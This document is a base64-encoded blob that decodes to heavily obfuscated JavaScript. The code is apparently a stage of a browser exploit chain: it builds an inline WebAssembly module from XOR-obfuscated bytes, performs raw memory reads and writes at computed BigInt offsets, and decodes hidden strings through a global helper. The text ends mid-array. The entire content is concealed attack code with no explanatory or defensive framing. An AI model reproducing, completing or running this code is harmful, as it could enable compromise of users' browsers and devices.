eDMzMzNuXSkhPT1qKGMpKXRocm93IG5ldyBFcnJvcigiIil9aS5TbygpLmpvKFtbdGhpcy5DSSxbW2kua28sMCwweDBuXV1dXSk7Y29uc3QgdD1jLmhhKDB4MzM0NG4sMHgxMTExbik7aWYoUC56bi5abi5jYWxsKHRoaXMuZ0ksW3RoaXMuQ0ksMHgzMzQ0biwweDExMTFuXSkhPT10KXRocm93IG5ldyBFcnJvcigiIil9bEkoKXtQLnpuLkRuO2NvbnN0IGk9UC56bi5YbixjPShQLnpuLmpuLG5ldyBVaW50MzJBcnJheShbKDQyOTQ5NjcyOTYgKyAoMTU5OTU2NzIyMiBeIC0xOTc0MTg0NDM5KSksKDQyOTQ5NjcyOTYgKyAoMTEyNzQyODQ0OSBeIC0zNjAwOTYwOTkpKSwoNDI5NDk2NzI5NiArICgxNzAxNTM5OTA4IF4gLTg2NTQ2MjMzOCkpLCg0Mjk0OTY3Mjk2ICsgKDc1OTcxNTM3MyBeIC0yMDc1NTIyNjAzKSksKDQyOTQ5NjcyOTYgKyAoMTM2Njg0NDQ5NiBeIC0xMjYxNDM1NzgpKSwoNDI5NDk2NzI5NiArICg4NjM1ODEyOTAgXiAtMTcwMzA1MjM4NikpLCg0Mjk0OTY3Mjk2ICsgKDE3MzE4MTY1MjcgXiAtODM0OTIyNTc0KSksKDQyOTQ5NjcyOTYgKyAoMTkxNjEwNjA4NiBeIC02Njc1ODQ4ODgpKSwoNDI5NDk2NzI5NiArICgxNzg2Mjc5NzUyIF4gLTE4MjUwMTU5OTIpKSwoNDI5NDk2NzI5NiArICgxNDEzNzA0MDQzIF4gLTUxNTY3Nzg3NykpLCg0Mjk0OTY3Mjk2ICsgKDE3NDg1OTM5OTEgXiAtNzgwNTcxMzc4KSksKDEyNjUwNjczNjEgXiA0MzQ1OTUxMzcpLCg0Mjk0OTY3Mjk2ICsgKDE4NTAyOTE1MDQgXiAtNjg3MjI3NjI0KSksKDEzNjQzNTk1MzcgXiA5NzkwMDc1NjYpLCgxNDMyNTY5OTU5IF4gMjMyODU3NDMpLCgxMDk1MjUwNzY1IF4gMTM5NzI0MTQ0NSksKDEyMTEzOTQ0MjYgXiAyMTAwNTg4MDgyKSwoMTc2NDk3Nzk5MCBeIDQwNjAyNzM4NSksKDE4MDE5Mjk1NTYgXiAxMDYzNzMyNjYzKSwoNDI5NDk2NzI5NiArICg5MjkyNjM3MjIgXiAtMTY1Mjc4ODMyMSkpLCg0Mjk0OTY3Mjk2ICsgKDE0ODMwMzM5MjcgXiAtMTU5MTM5MDg2MykpLCg0Mjk0OTY3Mjk2ICsgKDEyNDg5Mzk1OTkgXiAtMjE0ODcyNTM3KSksKDQyOTQ5NjcyOTYgKyAoOTExMjQzODg5IF4gLTE1NDA0ODUzMDYpKSwoNDI5NDk2NzI5NiArICgxMjgwOTE5NjU5IF4gLTE2MzE5MDE1NzkpKSwoNDI5NDk2NzI5NiArICgyMDUzNzg2MTc5IF4gLTE0NjUyMzQ4MjQpKSwoNDI5NDk2NzI5NiArICgxNjk4MjQ3NDk4IF4gLTg2NDQ0Mjc0MSkpLCg0Mjk0OTY3Mjk2ICsgKDg0NDE5NDkyNyBeIC0xNjA3Mzg2MzYyKSksKDQyOTQ5NjcyOTYgKyAoMTM2Mzc2NjY0MSBeIC0xMzM2MzE4MTcpKSwoNDI5NDk2NzI5NiArICgxOTM2ODEyMDgwIF4gLTY0NjQyMDE4MCkpLCg0Mjk0OTY3Mjk2ICsgKDk2MTc2MzM4MiBeIC0zNDA3MTU0NTgpKSwoNDI5NDk2NzI5NiArICgxNDk3ODQ4Mzk4IF4gLTUxNjgwNDQ3OSkpLCg0Mjk0OTY3Mjk2ICsgKDEzNDkwNzI5NjggXiAtOTQyOTA5ODQpKSwoNDI5NDk2NzI5NiArICgxMTI3ODIyOTUyIF4gLTM4MjE5MjI1NCkpLCg0Mjk0OTY3Mjk2ICsgKDE4OTg3OTYwODEgXiAtNjE4MTEzMDYyKSksKDQyOTQ5NjcyOTYgKyAoMTc2ODc2NTc4MiBeIC0xMDE2MzgyNzk2KSksKDQyOTQ5NjcyOTYgKyAoMTQ0OTc0MTQyMyBeIC01OTg3OTUyNSkpLCg0Mjk0OTY3Mjk2ICsgKDExNzc5NzE1MDggXiAtMzMxNzgxOTQ3KSksKDQyOTQ5NjcyOTYgKyAoMTYwMDk5NjcyOSBeIC0xNzY0MDQ4NTYpKSwoNDI5NDk2NzI5NiArICgxNzAyMTE1NDI1IF4gLTgxNTUxNDczNSkpLCg0Mjk0OTY3Mjk2ICsgKDEzOTY5MjExNDAgXiAtMTEzMTU5OTc4KSksKDQyOTQ5NjcyOTYgKyAoOTExMjM5Mjc3IF4gLTE2NzMyMzc2MDcpKSwoNDI5NDk2NzI5NiArICgxNzg1NjIxODU4IF4gLTEwNjYxNzY4NjkpKSwoNDI5NDk2NzI5NiArICgxMjY2MjQ1NDg0IF4gLTUxMzMxOTc4NikpLCg0Mjk0OTY3Mjk2ICsgKDIwMjA2MjU5NzcgXiAtMTM1Mzc1ODg2MikpLCg0Mjk0OTY3Mjk2ICsgKDIwMzc2MDU0OTEgXiAtNzQ4MDAxMzk0KSksKDQyOTQ5NjcyOTYgKyAoMTE0NTI1NDE5NSBeIC0yOTYxNDQxNzkpKSwoNDI5NDk2NzI5NiArICgxNzg2MzM3MTE0IF4gLTEwNjU3OTAyOTUpKSwoNDI5NDk2NzI5NiArICg4OTYyMjQzMzYgXiAtMTYxOTcwMTgyNCkpLCg0Mjk0OTY3Mjk2ICsgKDE2ODMwNjA4MTUgXiAtODMzNTg2MjY3KSksKDQyOTQ5NjcyOTYgKyAoMTY4MzI1NDg1NyBeIC04MzM1MjQzMTgpKSwoNDI5NDk2NzI5NiArICgxNzg2MzMyMjQ4IF4gLTEwNjU0MDAzOTApKSwoNDI5NDk2NzI5NiArICgxMjk5MDE3MzM0IF4gLTQxMjQ1NTU1MCkpLCg0Mjk0OTY3Mjk2ICsgKDExMjkzMzY5MTYgXiAtMzc5NjI4NjM1KSksKDQyOTQ5NjcyOTYgKyAoMTM5ODc0ODc1NiBeIC0xMTIzMTQ5NzEpKSwoNDI5NDk2NzI5NiArICgxNDgwNjc0ODk0IF4gLTIyOTU1MjcwNikpLCg0Mjk0OTY3Mjk2ICsgKDE0NjU4Njk5NDEgXiAtNDQyMTA3OTMpKSwoNDI5NDk2NzI5NiArICgxMTgwNjUzMTM5IF4gLTMzMDYwNzE5MykpLCg0Mjk0OTY3Mjk2ICsgKDE3Njc5OTA1OTQgXiAtMTAxNTI1NzQxMykpLCg0Mjk0OTY3Mjk2ICsgKDE4ODIwMTQ1NzUgXiAtNjM0MTc1MzM5KSksKDQyOTQ5NjcyOTYgKyAoMTQxNDI4NTM5MCBeIC0yMDg5NTk4NzE1KSksKDQyOTQ5NjcyOTYgKyAoMjAxNzU0NjI4OCBeIC03NjU5NjMzMTUpKSwoNDI5NDk2NzI5NiArICgxMzgyMTg1MjcyIF4gLTEyNjMyMTk3OCkpLCg0Mjk0OTY3Mjk2ICsgKDExMjk2MDg1MDMgXiAtMTg3ODgxNjQ0OSkpLCg0Mjk0OTY3Mjk2ICsgKDEzOTcxMTUxODQgXiAtMTQ0MjQyODQ4NykpLCg0Mjk0OTY3Mjk2ICsgKDE2ODA5NTc3NzUgXiAtMTM2OTI0NDYwMSkpLCg0Mjk0OTY3Mjk2ICsgKDg5NjA5MzgwMyBeIC0xOTIzMzQwNDc3KSksKDQyOTQ5NjcyOTYgKyAoMTA5NzI4MjE2OSBeIC0xODE3NzU5MTUyKSksKDQyOTQ5NjcyOTYgKyAoMTA5NTE5MzkzNCBeIC03NTQ1MDU2NTgpKSwoNDI5NDk2NzI5NiArICgxNzE4OTA0Njg3IF4gLTE0MzM2MjU5OCkpLCg0Mjk0OTY3Mjk2ICsgKDE2NjczMzI0MzkgXiAtMzk1ODA2MTY0KSksKDQyOTQ5NjcyOTYgKyAoMTk1MTYyMjQ2NiBeIC0xNjIyNzc1ODc1KSksKDQyOTQ5NjcyOTYgKyAoOTI5OTIxNjA3IF4gLTgzMTY4NjA5NykpLCgxNjMzMTY5NTE4IF4gOTAwMTg4NzUxKSwoNDI5NDk2NzI5NiArICgyMDAzNTMxNTc0IF4gLTU3OTU3MDQ3NCkpLCg0Mjk0OTY3Mjk2ICsgKDk0NjE1OTk4NiBeIC0xODYwMTU4ODMzKSksKDQyOTQ5NjcyOTYgKyAoMjAzNzAwOTUyNCBeIC04MDIyOTA4MTYpKSwoNDI5NDk2NzI5NiArICgxNzAwMDMzOTA5IF4gLTg3MDg5OTA2OSkpLCg0Mjk0OTY3Mjk2ICsgKDEyMjkyMTEyMzMgXiAtNTM2NDcxMTQzKSksKDQyOTQ5NjcyOTYgKyAoMTYzNDg4MDA3MCBeIC05MzYxNzAwNTIpKSwoNDI5NDk2NzI5NiArICgxMzE0MTU3ODkxIF4gLTQyNjYzMjUxMykpLCg0Mjk0OTY3Mjk2ICsgKDE2Njg4OTIyNzIgXiAtMTI1NTc4MjAwMSkpLCg0Mjk0OTY3Mjk2ICsgKDE3NjY1NDAxMTggXiAtMTEzNjEwNjY3OSkpLCg0Mjk0OTY3Mjk2ICsgKDIwMzcwMDc3MzAgXiAtMTQwMjM3ODg5OSkpLCg0Mjk0OTY3Mjk2ICsgKDE2NDk3NTkwMjYgXiAtMTIxOTA3MTE4NykpLCg0Mjk0OTY3Mjk2ICsgKDE2NDkyOTkwNTUgXiAtMTIxOTY2MjIyNCkpLCg0Mjk0OTY3Mjk2ICsgKDEyODI2OTgwNzQgXiAtMTcyMDIzNTE5NSkpLCg0Mjk0OTY3Mjk2ICsgKDg3ODk5NTMwNCBeIC01MTMzMjUxOTMpKSwoNDI5NDk2NzI5NiArICgxODUwMTA4MDI2IF4gLTExNTMwODczODcpKV0pKTt0aGlzLktJPXRoaXMuYkkoYyk7Zm9yKGxldCBvPTA7bzxjLmxlbmd0aDtvKyspe2lmKGNbb10hPT1pLmJyKHRoaXMuS0kraig0Km8pKSl0aHJvdyBuZXcgRXJyb3IoIiIpfWZvcihsZXQgYz00ODtjPDUzO2MrKyl7aS5TbygpLmpvKFtbdGhpcy5DSSxbW2kua28sMCxqKGMpXV1dXSk7aWYoUC56bi5abi5jYWxsKHRoaXMuS0ksW3RoaXMuQ0ksMHgyMjIybiwweDMzMzNuXSkhPT1qKGMpKXRocm93IG5ldyBFcnJvcigiIil9aS5IaSh0aGlzLkNJLDB4MG4pO2NvbnN0IG89bmV3IFVpbnQzMkFycmF5KG5ldyBVaW50MzJBcnJheSgzMikuZmlsbCgoNDI5NDk2NzI5NiArICgyMDA0NDMyNzA3IF4gLTE1NjkwNTY5MzIpKSkpO3RoaXMuaEkudUkobyksUC56bi5XaC5aYih0aGlzLm5JLDB4MG4sMHgzMDBuKTtpZigweDBuIT09UC56bi5abi5jYWxsKHRoaXMuS0ksW3RoaXMuQ0ksdGhpcy5oSS5kSSgpKzB4MzhuLHRoaXMuaEkuZEkoKSsweGM4bix0aGlzLmhJLmRJKCkrMHhkMG4sdGhpcy5oSS5kSSgpKzB4ZTBuXSkpdGhyb3cgbmV3IEVycm9yKCIiKTtjb25zdCB0PWkuYnIodGhpcy5oSS5kSSgpKzB4ZDBuKSxJPVAuem4uWWgucWIoaihvLmJ5dGVMZW5ndGgpKTtpZih0IT09dGhpcy5MSShvLEkpKXRocm93IG5ldyBFcnJvcigiIik7Zm9yKGxldCBjPTA7YzxvLmxlbmd0aDtjKyspe2lmKGkuYnIodGhpcy5oSS5hSStqKDQqYykpIT09aS5icihJK2ooNCpjKSkpdGhyb3cgbmV3IEVycm9yKCIiKX19YkkoaSl7UC56bi5Ebjtjb25zdCBjPVAuem4uWG47UC56bi5qbjtQLnpuLldoLlpiKHRoaXMubkksMHgwbiwweDMwMG4pLHRoaXMuaEkudUkoaSk7dGhpcy5MSShpLHRoaXMuaEkuYUkpO1Auem4uV24uY2FsbCh7YWI6dGhpcy50SS5JSSxzYjp0aGlzLm5JLHgxOnRoaXMuaEkuZEkoKSx4MjoweDBuLGliOjB4MG4sYmI6MHgwbn0pO2NvbnN0IG89UyhjLktpKHRoaXMubkkrMHgxMzhuKSk7UyhjLktpKHRoaXMubkkrMHg4bikpO3JldHVybiBvfUxJKGksYyl7aWYoIShpIGluc3RhbmNlb2YgVWludDMyQXJyYXkpKXRocm93IG5ldyBFcnJvcigiIik7aWYoaS5ieXRlTGVuZ3RoJTMyKXRocm93IG5ldyBFcnJvcigiIik7aWYoaS5ieXRlTGVuZ3RoPj0oMTI5OTA2NzQ3MyBeIDEyOTkwNjcyMTcpKXRocm93IG5ldyBFcnJvcigiIik7Y29uc3Qgbz1QLnpuLlhuLk9pLHQ9UC56bi5YbixJPVAuem4uam47bGV0IG49MDtmb3IoY29uc3QgaCBpbiBpKXtjb25zdCBzPTQqaCx5PWlbaF0sbD0weGZmZmZmZjAwMDAwMDAwbiYweGZmZmZmZmZmMDAwMDAwMDBuJihqKHMpPDwweDFFbiYweGZmZmZmZmZmMDAwMDAwMDBuKSsweDEwMDAwMDAwMG58MHhGRkZGRkZGRm4maihuKTtsZXQgQz1JLndhLmJpbmQoSSk7Z2xvYmFsVGhpcy5vYkNoVEsuaFBMM09uKChbMTA0LCAxMDksIDExMSwgMTExLCA5NiwgNTgsIDU2LCAxMDYsIDU5LCAxMDQsIDEwOCwgMTA0LCA5NiwgNTksIDU2LCAxMDcsIDU2LCA5NywgNjMsIDEwOSwgMTA1LCA1OSwgNjAsIDEwNywgOTcsIDExMCwgNjMsIDExMSwgMTA5LCAxMTEsIDYxLCAxMDksIDYxLCAxMTAsIDEwOCwgOTYsIDEwNiwgNjAsIDU5LCAxMDVdLm1hcCh4ID0+IHtyZXR1cm4gU3RyaW5nLmZyb21DaGFyQ29kZSh4IF4gODkpO30pLmpvaW4oIiIpKSkuem4uTm4ud1lrOEpnJiYoQz1JLmhhLmJpbmQoSSkpO2NvbnN0IGc9Qyh5LDB4MTIwMDAwMDAwMDAwMDAwMG58bCksYj1DKHksMHgxMzAwMDAwMDAwMDAwMDAwbnxsKTtuPW8uc24oYj4+MHgxN25eZz4+MHgyN24pLHQuZHIoYytqKDQqaCksbil9cmV0dXJuIG59Y0koaSl7dGhpcy5oSS51SShpKSxQLnpuLldoLlpiKHRoaXMubkksMHgwbiwweDMwMG4pO2lmKDB4MG4hPT1QLnpuLlpuLmNhbGwodGhpcy5LSSxbdGhpcy5DSSx0aGlzLmhJLmRJKCkrMHgzOG4sdGhpcy5oSS5kSSgpKzB4YzhuLHRoaXMuaEkuZEkoKSsweGQwbix0aGlzLmhJLmRJKCkrMHhlMG5dKSl0aHJvdyBuZXcgRXJyb3IoIiIpO1Auem4uV24uY2FsbCh7YWI6dGhpcy50SS5JSSxzYjp0aGlzLm5JLHgxOnRoaXMuaEkuZEkoKSx4MjoweDBuLGliOjB4MG4sYmI6MHgwbn0pO2NvbnN0IGM9UyhQLnpuLlhuLktpKHRoaXMubkkrMHgxMzhuKSk7UyhQLnpuLlhuLktpKHRoaXMubkkrMHg4bikpO3JldHVybiBjfW9JKGksYyl7dGhpcy5oSS51SShjKSxQLnpuLldoLlpiKHRoaXMubkksMHgwbiwweDMwMG4pLFAuem4uWG4uU28oKS5qbyhbW3RoaXMubkksW1tQLnpuLlhuLmtvLDgsaihjLmJ5dGVMZW5ndGgpXSxbUC56bi5Ybi5rbywoMTU5OTE3NDQ5NyBeIDE1OTkxNzQyMzMpLFAuem4uam4uZXIoaSwweDQ3RUFuKV1dXV0pO2lmKDB4MG4hPT1QLnpuLlpuLmNhbGwodGhpcy5LSSxbdGhpcy5DSSx0aGlzLmhJLmRJKCkrMHgzOG4sdGhpcy5oSS5kSSgpKzB4YzhuLHRoaXMuaEkuZEkoKSsweGQwbix0aGlzLmhJLmRJKCkrMHhlMG5dKSl0aHJvdyBuZXcgRXJyb3IoIiIpO1Auem4uV24uY2FsbCh7YWI6dGhpcy50SS5JSSxzYjp0aGlzLm5JLHgxOnRoaXMuaEkuZEkoKSx4MjoweDBuLGliOjB4MG4sYmI6MHgwbn0pO2NvbnN0IG89UyhQLnpuLlhuLktpKHRoaXMubkkrMHgxMzhuKSk7UyhQLnpuLlhuLktpKHRoaXMubkkrMHg4bikpO3JldHVybiBvfWlJKGkpe3RoaXMuaEkuWEkoaSksUC56bi5XaC5aYih0aGlzLm5JLDB4MG4sMHgzMDBuKTtpZigweDBuIT09UC56bi5abi5jYWxsKHRoaXMuS0ksW3RoaXMuQ0ksdGhpcy5oSS5kSSgpKzB4MzhuLHRoaXMuaEkuZEkoKSsweGM4bix0aGlzLmhJLmRJKCkrMHhkMG4sdGhpcy5oSS5kSSgpKzB4ZTBuXSkpdGhyb3cgbmV3IEVycm9yKCIiKTtQLnpuLlduLmNhbGwoe2FiOnRoaXMudEkuSUksc2I6dGhpcy5uSSx4MTp0aGlzLmhJLmRJKCkseDI6MHgwbixpYjoweDBuLGJiOjB4MG59KTtjb25zdCBjPVMoUC56bi5Ybi5LaSh0aGlzLm5JKzB4MTM4bikpO1MoUC56bi5Ybi5LaSh0aGlzLm5JKzB4OG4pKTtyZXR1cm4gY319Y2xhc3MgY2l7Y29uc3RydWN0b3IoKXt0aGlzLnBJPVAuem4uWWgucWIoKDg2MjE1NDg0OSBeIDg2MjE1NTYxNykpLHRoaXMubUk9bnVsbCx0aGlzLmFJPW51bGx9ZEkoKXtpZihudWxsPT09dGhpcy5tSXx8bnVsbD09PXRoaXMuYUkpdGhyb3cgbmV3IEVycm9yKCIiKTtyZXR1cm4gdGhpcy5wSX1YSShpKXtpZihpJTMyKXRocm93IG5ldyBFcnJvcigiIik7UC56bi5XaC5aYih0aGlzLnBJLDB4MG4sMHgzMDBuKTtjb25zdCBjPVAuem4uWWgucWIoaihpKSksbz1QLnpuLlloLnFiKGooaSkpO1Auem4uWG4uU28oKS5qbyhbW3RoaXMucEksW1tQLnpuLlhuLk5vLCgxMzk5OTkzNDA5IF4gMTM5OTk5MzQ4MSksaV0sW1Auem4uWG4ua28sNTYsY10sW1Auem4uWG4uTm8sKDIwNTQzNzE0MDAgXiAyMDU0MzcxNDY0KSxpXSxbUC56bi5Ybi5rbywoODQzNDc5NjU5IF4gODQzNDc5NjkxKSxvXSxbUC56bi5Ybi5rbywoODc3MjIxMjA0IF4gODc3MjIwOTI0KSxpXV1dXSksdGhpcy5tST1jLHRoaXMuYUk9b311SShpKXtpZighKGkgaW5zdGFuY2VvZiBVaW50MzJBcnJheSkpdGhyb3cgbmV3IEVycm9yKCIiKTtpZihpLmJ5dGVMZW5ndGglMzIpdGhyb3cgbmV3IEVycm9yKCIiKTtQLnpuLldoLlpiKHRoaXMucEksMHgwbiwweDMwMG4pO2NvbnN0IGM9UC56bi5Ybi5fbyhpKSxvPVAuem4uWWgucWIoaihpLmJ5dGVMZW5ndGgpKTtQLnpuLldoLlliKG8sYyxqKGkuYnl0ZUxlbmd0aCkpO2NvbnN0IHQ9UC56bi5ZaC5xYihqKGkuYnl0ZUxlbmd0aCkpO1Auem4uWG4uU28oKS5qbyhbW3RoaXMucEksW1tQLnpuLlhuLk5vLCg5NDY2MjgyMDEgXiA5NDY2MjgyNTcpLGkuYnl0ZUxlbmd0aF0sW1Auem4uWG4ua28sNTYsb10sW1Auem4uWG4uTm8sKDEzODAwMDkwNzYgXiAxMzgwMDA5MTQwKSxpLmJ5dGVMZW5ndGhdLFtQLnpuLlhuLmtvLCgyMDE5ODQ1MjAxIF4gMjAxOTg0NTI5NyksdF0sW1Auem4uWG4ua28sKDE2OTkwNTAzMjYgXiAxNjk5MDUwMDQ2KSxpLmJ5dGVMZW5ndGhdXV1dKSx0aGlzLm1JPW8sdGhpcy5hST10fX1jbGFzcyBvaXtjb25zdHJ1Y3Rvcigpe313ZChpLGM9MCl7dGhyb3cgbmV3IEVycm9yKCIiKX1BZChpLGMpe2NvbnN0IG89UC56bi5Kbi5vSShpLk50KCksYyk7cmV0dXJuIG0ub3Qobyl9emQoaSl7Y29uc3QgYz1QLnpuLkpuLmlJKGkpO3JldHVybiBtLm90KGMpfVNkKCl7aWYobnVsbD09PUYuY2FsbGVyKXRocm93IG5ldyBFcnJvcigiIik7cmV0dXJuIEYuY2FsbGVyfX1yZXR1cm4gci5fZD1mdW5jdGlvbigpe2NvbnN0IGk9UC56bixjPWkuWG4sbz1pLk1uLHQ9bmV3IFVpbnQ4QXJyYXkoWzAsOTcsKDE4OTkxODkyOTcgXiAxODk5MTg5MzE0KSwoMjAzNzUzNTU5NCBeIDIwMzc1MzU0OTUpLDEsMCwwLDAsMSw1MiwzLDk2LDgsKDEzNzkwMjgzMzMgXiAxMzc5MDI4MjQzKSwoMTYzMDg4MzE4OCBeIDE2MzA4ODMwODIpLCg3NTgyMDQ3NTkgXiA3NTgyMDQ3MTMpLCg4NzcxNTQ4NjYgXiA4NzcxNTQ4OTIpLCgxNzMzOTY2MTM3IF4gMTczMzk2NjE1MSksKDE4MDMxODMyMjEgXiAxODAzMTgzMTE1KSwoMTk1MDgyODYyNCBeIDE5NTA4Mjg1OTApLCg5MTEzNzM2ODUgXiA5MTEzNzM1NzkpLDEsKDE5NzA2Mjk3NDEgXiAxOTcwNjI5NjUxKSw5NiwxNiwoMTc0OTgzMjAxNSBeIDE3NDk4MzE5ODQpLCgyMDMzMDEwMDM3IF4gMjAzMzAwOTkzMCksKDE1OTg2NDU1NTkgXiAxNTk4NjQ1NTc2KSwoMjAzNjgxODc2OSBeIDIwMzY4MTg3MzQpLCgxNjMwODkwMzEyIF4gMTYzMDg5MDI5NSksKDExMTUxODU1MDggXiAxMTE1MTg1NDM1KSwoMTgxNTI0NDYyMCBeIDE4MTUyNDQ1OTUpLCgxMjQ4NzQzNDk3IF4gMTI0ODc0MzQ3OCksKDE4NTA4ODg1NjYgXiAxODUwODg4NDU3KSwoMjAzMzgwNDYyNCBeIDIwMzM4MDQ1OTEpLCgxNDE0NzU1NDMyIF4gMTQxNDc1NTM1MSksKDIwMjAzNzI4NTYgXiAyMDIwMzcyNzQzKSwoMTkxOTk1NjA1MiBeIDE5MTk5NTYwMTEpLCg5MTMyNTgwMzMgXiA5MTMyNTgwNjIpLCgxNzUxNTQ0MTQwIF4gMTc1MTU0NDExNSksKDE3MTQ1MDkxNzYgXiAxNzE0NTA5MDYzKSwxLCgxMTYyODkyNDA5IF4gMTE2Mjg5MjI5NSksOTYsMTYsKDE3ODM2NTA0MTQgXiAxNzgzNjUwMzIxKSwoMTk1Mzg1MjUxNyBeIDE5NTM4NTI0NDIpLCgxNTk5NTUwMDY2IF4gMTU5OTU0OTk2NSksKDEzMjg4MzY5MTYgXiAxMzI4ODM2OTM5KSwoODYyNjcwMTU2IF4gODYyNjcwMTMxKSwoODYxNDg0ODUxIF4gODYxNDg0ODc2KSwoMTkwMTY3Njg3NSBeIDE5MDE2NzY4NTIpLCgxNzY1MDQ2MTAwIF4gMTc2NTA0NjA1OSksKDExMTI1NTgxOTggXiAxMTEyNTU4MDg5KSwoMTg1MjczMDk2NSBeIDE4NTI3MzA5MjIpLCgyMDU0NTA4Mzk4IF4gMjA1NDUwODMwNSksKDE1OTk1NjM4NDMgXiAxNTk5NTYzODM2KSwoMTg4NjE1NTM3NyBeIDE4ODYxNTUyNzgpLCgxMTYyNTY1MTc1IF4gMTE2MjU2NTE5MiksKDE3ODMwMDI5NTMgXiAxNzgzMDAyOTM0KSwoMTI5Njg1NTkwNiBeIDEyOTY4NTU4MzcpLDAsMyw1LDQsMCwxLDEsMiw0LDQsMSwoMTI3OTczNTE1MiBeIDEyNzk3MzUwNDApLDAsMiw1LDQsMSwxLDEsMSw3LDE3LDQsMSwoMTk5OTQ1NzM2MCBeIDE5OTk0NTczMTYpLDEsMCwxLCgxODE2NTM4NDg1IF4gMTgxNjUzODM5MiksMiwwLDEsKDEzOTY4NTI4MTkgXiAxMzk2ODUyNzk2KSwwLDAsMSwoMTk4NzY3MTYzMyBeIDE5ODc2NzE2MDcpLDAsMyw5LDcsMSwwLDY1LDAsMTEsMSwwLDEwLCgxNDgyMjQ0NDI1IF4gMTQ4MjI0NDQ5MSksMSw0LDQsMCw2NiwwLDExLDg4LDAsMzIsMSwoMTcxNzk4NzQwOCBeIDE3MTc5ODc1ODEpLDY2LDMyLCgxNTE3NDM1MjA5IF4gMTUxNzQzNTM0MyksMzIsMCwoMjAyMDY4NTM5MCBeIDIwMjA2ODU1MzkpLCgxNzQ5MjQ4NTc4IF4gMTc0OTI0ODcxMCksMzIsMywoMTM5NzM3OTM5NyBeIDEzOTczNzk1NjApLDY2LDMyLCgxMTQ1NDY1NDE1IF4gMTE0NTQ2NTUzNyksMzIsMiwoODk0NjQ0MjkxIF4gODk0NjQ0NDYyKSwoMTM0NjUzMTY2MSBeIDEzNDY1MzE3ODUpLDMyLDUsKDEzODM2MTU4MjAgXiAxMzgzNjE1OTY5KSw2NiwzMiwoMTkwMjcyODI1OCBeIDE5MDI3MjgzODgpLDMyLDQsKDE0NDc5MTI1NjggXiAxNDQ3OTEyNjYxKSwoMTM0ODk1ODA1MyBeIDEzNDg5NTgxNzcpLDMyLDcsKDE5NDk2NjA0NjYgXiAxOTQ5NjYwNTc1KSw2NiwzMiwoMTQ4MDAxNDEyNSBeIDE0ODAwMTQyNTEpLDMyLDYsKDEzMzM0MDcwOTQgXiAxMzMzNDA3MTk1KSwoMjA1MjQxODQyNiBeIDIwNTI0MTg1NTgpLDMyLDksKDgwOTg1MDk1MSBeIDgwOTg1MTExNCksNjYsMzIsKDE4MzYyNzIxODIgXiAxODM2MjcyMzA0KSwzMiw4LCg5Mjc4NzAyNjEgXiA5Mjc4NzAzNjApLCgxMTQ4MTQ0NDM3IF4gMTE0ODE0NDU2MSksMzIsMTEsKDk0NjE3MDE5OCBeIDk0NjE3MDM2MyksNjYsMzIsKDE3NTIxOTIxMDMgXiAxNzUyMTkyMjI1KSwzMiwxMCwoMTczNDQ0MDI5MyBeIDE3MzQ0NDAzOTIpLCgxNjAwOTM5MTI5IF4gMTYwMDkzOTI2MSksMzIsMTMsKDExMTA3MzI5MTYgXiAxMTEwNzMzMDE3KSw2NiwzMiwoODI4NDUyMTY1IF4gODI4NDUyMjkxKSwzMiwxMiwoMTQ5ODI0Njk2MCBeIDE0OTgyNDcwNjkpLCgxNzgzNDQ3ODkzIF4gMTc4MzQ0ODAxNyksMzIsMTUsKDkyODE0NjUyMCBeIDkyODE0NjY3NyksNjYsMzIsKDE0OTc5MTIxNzMgXiAxNDk3OTEyMjk5KSwzMiwxNCwoMTE3OTgwMzQ0MyBeIDExNzk4MDM1NTApLCg4NTg2MDc5NjEgXiA4NTg2MDgwOTMpLDY1LDAsMTcsMCwwLDE1LDExLDM3LDAsMzIsMCwzMiwxLDMyLDIsMzIsMywzMiw0LDMyLDUsMzIsNiwzMiw3LDMyLDgsMzIsOSwzMiwxMCwzMiwxMSwzMiwxMiwzMiwxMywzMiwxNCwzMiwxNSwxNiwxLDE1LDExLDYwLDEsMSwoMTc4MzUxODA0NyBeIDE3ODM1MTc5ODUpLDMyLDAsMzIsMSwzMiwyLDMyLDMsMzIsNCwzMiw1LDMyLDYsMzIsNywzMiw4LDMyLDksMzIsMTAsMzIsMTEsMzIsMTIsMzIsMTMsMzIsMTQsMzIsMTUsMTYsMiwzMywxNiw2NSwwLDMyLDE2LCgxNjY0NjMzMjA4IF4gMTY2NDYzMzMxMSksNTQsMiwwLDY1LDQsMzIsMTYsNjYsMzIsKDEzODA4NjY2ODAgXiAxMzgwODY2ODAwKSwoMTcwMTQ2MzQxMSBeIDE3MDE0NjM1MDgpLDU0LDIsMCwxNSwxMV0pLmJ1ZmZlcixJPW5ldyBXZWJBc3NlbWJseS5Nb2R1bGUodCx7fSksbj1uZXcgV2ViQXNzZW1ibHkuSW5zdGFuY2UoSSx7fSksaD1uLmV4cG9ydHMuZixzPW4uZXhwb3J0cy5vLHk9bmV3IFVpbnQzMkFycmF5KG4uZXhwb3J0cy5tLmJ1ZmZlcik7bGV0IGw9bnVsbCxDPW51bGw7bnVsbCE9PW8mJiEwPT09Z2xvYmFsVGhpcy5vYkNoVEsuaFBMM09uKChbMCwgNSwgNywgNywgOCwgODIsIDgwLCAyLCA4MywgMCwgNCwgMCwgOCwgODMsIDgwLCAzLCA4MCwgOSwgODcsIDUsIDEsIDgzLCA4NCwgMywgOSwgNiwgODcsIDcsIDUsIDcsIDg1LCA1LCA4NSwgNiwgNCwgOCwgMiwgODQsIDgzLCAxXS5tYXAoeCA9PiB7cmV0dXJuIFN0cmluZy5mcm9tQ2hhckNvZGUoeCBeIDQ5KTt9KS5qb2luKCIiKSkpLnpuLk5uLnNLZk5tZiYmITA9PT1vLmNjJiYobD1QLmNyKCkuZmgoKFs1NywgNTgsIDM5LCAxNiwgNTAsIDUyLCA1NCwgMywgMzksIDMzXS5tYXAoeCA9PiB7cmV0dXJuIFN0cmluZy5mcm9tQ2hhckNvZGUoeCBeIDgzKTt9KS5qb2luKCIiKSkpLEM9by5kYShtLnV0KGwpLG0udXQoMCkpKTtmb3IobGV0IGk9MDtpPCgxNDY0NDIzMDI2IF4gMTQ2NDM5MDg2Nik7aSsrKXRyeXtoKCl9Y2F0Y2goaSl7fWNvbnN0IGc9eC5WdC51dCgoMjA1NDA0Mjc0NiBeIDIwNTQwMzM2MjMpKTtpLmNhbGxlcj17amQobywuLi50KXtjb25zdCBJPWdsb2JhbFRoaXMub2JDaFRLLmhQTDNPbigoWzY4LCA2NSwgNjcsIDY3LCA3NiwgMjIsIDIwLCA3MCwgMjMsIDY4LCA2NCwgNjgsIDc2LCAyMywgMjAsIDcxLCAyMCwgNzcsIDE5LCA2NSwgNjksIDIzLCAxNiwgN